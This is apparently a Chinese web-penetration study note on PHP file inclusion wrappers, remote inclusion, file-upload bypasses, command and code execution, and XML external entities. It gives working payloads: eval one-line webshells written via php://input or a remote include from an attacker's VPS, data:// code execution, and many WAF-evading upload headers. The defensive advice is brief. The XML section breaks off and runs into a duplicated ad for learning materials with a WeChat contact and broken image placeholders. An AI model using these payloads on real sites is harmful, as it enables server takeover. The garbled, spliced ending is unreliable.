以下协议未写明条件的即是allow_url_fopen和allow_url_include状态off/on都行。
file://
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()
参数可控的情况下
如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的
示例:
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txtfile://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txtfile://[网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
条件:
allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input
php://stdin
php://memory
php://temp
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter
和 php://input
php://filter用于读取源码,php://input用于执行php代码
示例:
- php://filter/read=convert.base64-encode/resource=[文件名] //读取文件源码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php2.php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>3.若有写入权限,[POST DATA部分] 写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip:// & bzip2:// & zlib://
作用:
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等
示例:
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
http://127.0.0.1/include.php? file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
http://127.0.0.1/include.php? file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz
http://127.0.0.1/include.php? file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://
条件:
allow_url_fopen:on
allow_url_include :on
作用:
自PHP>=5.2.0
起,可以使用 data://
数据流封装器,以传递相应格式的数据。
通常可以用来执行PHP代码
示例:
1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用条件 PHP > 5.3
要想使用Phar类里的方法,必须将phar.readonly
配置项配置为0或Off
利用 phar 协议可以拓展 php 反序列化漏洞攻击面
远程文件包含(RFL)
服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,
从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。
漏洞利用
条件:php.ini
中开启allow_url_include
、allow_url_fopen
选项。
1、远程包含Webshell
?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马
shell.txt内容为:
<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');?>
代码审计
文件包含用到的函数
include() //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
inclue_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
代码审计的时候全局搜索以上函数
如果是基于图像上传的 ,要搜$_FILES
变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。
查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。
漏洞防护
- 禁止远程文件包含
allow_url_include=off
- 配置
open_basedir=指定目录
,限制访问区域。- 过滤
../
等特殊符号- 修改Apache日志文件的存放地址
- 开启魔术引号
magic_quotes_qpc=on
- 尽量不要使用动态变量调用文件,直接写要包含的文件。
五、文件上传
漏洞原理
用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。没有对后缀做一个严格过滤。
绕过
一句话前后加图片数据混淆;直接把木马改成.gif
后缀上传,BurpSuite拦包修改后缀名。
黑名单绕过:
找漏网之鱼:
cer、php3、php4
等大小写绕过:
AsP、pHP
文件后缀复写绕过:
.phphpp
针对Windows系统:
上传不符合windows文件命名规则的文件名
test.php:1.jpg //会被windows系统自动去掉不符合规则符号后面的内容
test.php::$DATA //会被windows系统自动去掉不符合规则符号后面的内容
白名单绕过:
1)00截断:
抓包修改文件名后缀为“php .jpg”,再将空格的十六进制改为00(系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束,系统按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII为0的位置在十六进制中是00);2).htaccess解析漏洞:
(只适用于Apache中allow override all、loadmodule rewrite_module/mod_rewrite.so #rewrite模块为开启状态):先上传.htaccess文件(AddType application/x-httpd-php .jpg),再上传一个图片马文件(jpg),上传的jpg文件都会以php文件格式解析。3)Content-Type:
先上传正常的图片文件,查看Content-Type类型。上传脚本文件(AddType aaplication/x-httpd-php .jpg #将所有后缀为.jpg的文件作为php文件解析),将Content-Type类型改为查看到的类型(image/jpeg、imagepng、imagegif等)4)Apache解析漏洞:
Apache从右向左解析,若不能够解析最右的后缀,会递归向前解析,直到解析道能够解析为止,否则会报错。5).user.ini:
适用于服务器使用CGI/FastCGI模式且目录下要有可执行的php文件,文件内容“auto_prepend_file=a.jpg # a.jpg中符合php语言的代码会被执行”。6)文件头检测:
上传图片马,再修改后缀为可解析脚本语言;或上传一句话木马,再将文件中添加正常格式文件头(GIF89a等)。
黑白名单通用
如果可上传修改
.htaccess
文件 (还能用于隐藏后门)
<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php
//上传shell.jpg文件,将解析为php运行
基于WAF:
常用的黑名单绕过放大也适用于部分的waf,更多的是需要配合使用。主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析。
1)换行绕过
Content-Disposition:form-data;name=“file”;filename=“1.php”Content-Disposition:form-data;name=“file”;file
name=“1.php”Content-Disposition:form-data;name=“file”;filename=
“1.php”2)多个等号绕过
Content-Disposition:form-data;name=“file”;filename==“1.php”3)增加文件大小,类似于垃圾字符
Content-Disposition:form-data;
qqqqqqqq…qqqqqqqqqqq;name=“file”;filename=“1.php”4)去掉或替换引号绕过
Content-Disposition:form-data;name=file;filename=1.phpContent-Disposition:form-data;name=‘file’;filename=“1.php”
5)增加filename干扰拦截
Content-Disposition:form-data;name=“file”;filename= ;filename=“1.php”6)混淆waf匹配字段
a.混淆form-data
Content-Disposition:name=“file”;filename=“1.php” //去除form-dataContent-Disposition:qqqqq=“qweqwe”;name=“file”; filename=“1.php” // 替换form-data为垃圾值
Content-Disposition: form-data ; name=“file”; filename=“1.php” // form-data后加空格
Content-Disposition: for+m-data; name=“file”; filename=“1.php” // form-data中加+号
b.混淆ConTent-Disposition
COntEnT-DIsposiTiOn: form-data; name=“file”; filename=“1.php” // 大小写混淆Content-Type: image/gif
Content-Disposition: form-data; name=“file”; filename=“1.php”
//调换Content-Type和ConTent-Disposition的顺序Content-Type: image/gif
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
//增加额外的头AAAAAAAA:filename=“aaa.jpg”;
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
//增加额外的头Content-Length: 666
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
//增加额外的头Content-Disposition: form-data; name=“file_x”;;; filename=“test.php”
//多个分号,导致可能解析不到文件名7)双文件绕过:
例如安全狗总是以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值作为接收参数。8)容器与waf对Bounday要求规则不一致
Content-Type: multipart/form-data; boundary=—————————471114117352599
Content-Length: 253
—————————–471114117352599
Content-Disposition: form-data; name=“file1”; filename=“shell.asp”
Content-Type: application/octet-stream
<%eval request(“a”)%>
—————————–471114117352599–
一些waf会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。9) 条件竞争
一些情况再上传文件时,先上传到临时目录,然后再检测,检测到再删除。例如可以上传生成一句话木马的文件(fputs(fopen(‘shell.php’,‘w’),‘’) ;
上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件shell.php。
文件加载检测(文件内容检测)
常见的是对图像进行二次渲染,一般是调用PHP 的GD库
一个绕过GD库的Webshell生成器:
http://wiki.ioin.in/soft/detail/1q
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
漏洞防护
1、使用白名单限制可以上传的文件扩展名
2、注意0x00截断攻击(PHP更新到最新版本)
3、对上传后的文件统一随机命名,不允许用户控制扩展名
4、上传文件的存储目录禁用执行权限
六、命令执行
漏洞原理
命令执行漏洞是指攻击者可以随意执行系统命令,分为远程代码执行和系统命令执行两类。
由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行 命令注入攻击中, Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。
程序应用有时需要调用一些执行系统命令的函数,如PHP:
system() //执行外部程序,并且显示输出
exec() //执行一个外部程序
shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru() //执行外部程序并且显示原始输出
pcntl_exec() //在当前进程空间执行指定程序
popen() //打开进程文件指针
proc_open() //执行一个命令,并且打开用来输入/输出的文件指针
反引号
令拼接到正常命令中,从而造成命令执行攻击。
两个条件
- 用户能够控制的函数输入
- 存在可以执行代码或者系统命令的危险函数
命令执行漏洞带来的危害
继承Web服务程序的权限去执行系统命令(任意代码)或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
等
列子
<?php $test = $_GET['cmd']; system($test); ?>
payload:
?cmd=whoami
这样即可执行系统命令
漏洞防护
1、尽量不要使用以上的代码/命令执行函数
2、使用disable_funtion()禁用以上函数
3、过滤所有能当作命令分隔符使用的字符
七、代码执行
代码执行:可执行脚本语言代码
PHP敏感函数代码执行
eval() //把字符串作为PHP代码执行
assert() //检查一个断言是否为 FALSE,可用来执行代码
preg_replace() //执行一个正则表达式的搜索和替换
call_user_func()//把第一个参数作为回调函数调用
call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数
array_map() //为数组的每个元素应用回调函数
八、XML外部实体注入
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害
注意:执行系统命令(安装expect扩展的PHP环境里才有)
XML基础
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型.
是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义、文档元素。
<?xml version="1.0" ?> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT bodys (#PCDATA)>]>
北京石家庄
wintrysecwintrysec.github.io
DTD(文档类型定义)的作用是定义xml文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
PCDATA 指的是被解析的字符数据(Parsed Character Data)
XML解析器通常会解析XML文档中所有的文本
此文本会被解析
当某个XML元素被解析时,其标签之间的文本也会被解析:
BillGates
<!ENTITY 实体名称 “实体的值">自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
转存中…(img-Sc9XDojq-1712626410265)]
[外链图片转存中…(img-9R3Y1CHj-1712626410266)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-BbZMy1Qx-1712626410266)]
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-dlrZb8Zn-1712626410266)]